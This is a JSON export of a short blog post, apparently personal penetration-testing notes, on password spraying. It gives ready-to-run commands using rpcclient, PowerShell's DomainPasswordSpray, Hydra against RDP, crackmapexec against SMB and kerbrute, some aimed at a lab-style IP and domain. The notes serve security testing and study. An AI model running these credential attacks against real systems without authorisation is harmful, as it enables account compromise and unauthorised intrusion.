{"id":1923,"date":"2020-12-17T10:41:03","date_gmt":"2020-12-17T09:41:03","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=1923"},"modified":"2024-09-08T11:23:18","modified_gmt":"2024-09-08T09:23:18","slug":"password-spraying","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=1923","title":{"rendered":"Password spraying"},"content":{"rendered":"\n

Pass\u00adword spray\u00ading: Try a few pass\u00adwords against a large set of users.<\/p>\n\n\n\n

Manual<\/h2>\n\n\n\n
for u in Administrator Guest krbtgt DefaultAccount ryan marko sunita abigail marcus sally fred angela felicia gustavo ulf stevie claire paulo steve annette annika per claude melanie zach simon naoki; do rpcclient -W MEGABANK -U $u 10.10.10.169; done;<\/pre>\n\n\n\n
With Pow\u00ader\u00adShell<\/p>\n\n\n\n
Down\u00adload Domain\u00adPass\u00adword\u00adSpray<\/a> and upload it to the tar\u00adget. Then execute<\/p>\n\n\n\n
PS> Invoke-DomainPasswordSpray -Password Test123<\/pre>\n\n\n\n
With Hydra<\/h2>\n\n\n\n
hydra -L \/usr\/share\/wordlists\/dirb\/others\/names.txt -p \"RetrievedSuperSecurePassword\" rdp:\/\/$target<\/pre>\n\n\n\n
With crackmapexec (against SMB<\/span> shares)<\/h2>\n\n\n\n
    \n
  1. Cre\u00adate a list of users, e.g. users.txt:
    tom
    jerry<\/code><\/li>\n\n\n\n
  2. Exe\u00adcute crackmapex\u00adec with one pass\u00adword:
    crackmapexec smb $target -u users.txt -p 'Password123' --continue-on-success [-d ad.dom]<\/code><\/li>\n<\/ol>\n\n\n\n
    With kerbute<\/h2>\n\n\n\n
    On Lin\u00adux:<\/p>\n\n\n\n
    python kerbrute.py \u2026<\/p>\n\n\n\n
    On Win\u00addows, down\u00adload it on Github<\/a>.<\/p>\n\n\n\n
      \n
    1. Cre\u00adate a list of users, e.g. users.txt:
      tom
      jerry<\/code><\/li>\n\n\n\n
    2. Exe\u00adcute ker\u00adbrute with one pass\u00adword:
      kerbrute_windows_amd64.exe passwordspray -d dom.ain users.txt \"Pass123\"<\/code><\/li>\n<\/ol>\n\n\n\n
      Tools<\/h2>\n\n\n\n